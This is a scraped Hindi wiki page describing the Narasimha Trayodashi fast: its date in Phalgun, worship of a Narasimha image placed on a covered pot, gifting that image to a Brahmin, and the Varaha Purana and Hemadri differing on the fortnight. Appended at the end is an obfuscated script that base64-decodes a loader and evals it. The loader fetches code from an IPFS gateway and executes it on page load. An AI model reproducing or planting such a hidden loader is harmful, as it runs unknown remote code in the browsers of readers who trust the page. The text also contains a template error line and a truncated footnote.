एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

नरसिंह त्रयोदशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • फाल्गुन कृष्ण पक्ष की द्वादशी को यह व्रत आरम्भ होता है।
  • उस दिन उपवास एवं नरसिंह प्रतिमा की पूजा की जाती है।
  • श्वेत वस्त्र से आच्छादित एक घट प्रतिष्ठापित किया जाता है और पर एक स्वर्णिम या काष्ठ की या बाँस की प्रतिमा रखी जाती है।
  • उस दिन किसी ब्राह्मण को वह प्रतिमा दे दी जाती है।[1]
  • प्रकाशित वराहपुराण में ऐसी व्यवस्था है कि व्रत शुक्ल पक्ष में किया जाए, किन्तु हेमाद्रि[2] में कृष्ण पक्ष का उल्लेख है।

 

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 1029-30, वराह पुराण 42|1-7 एवं 13-16 का उद्धरण है)।
  2. हेमाद्रि (व्रतखण्ड1, 1029

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>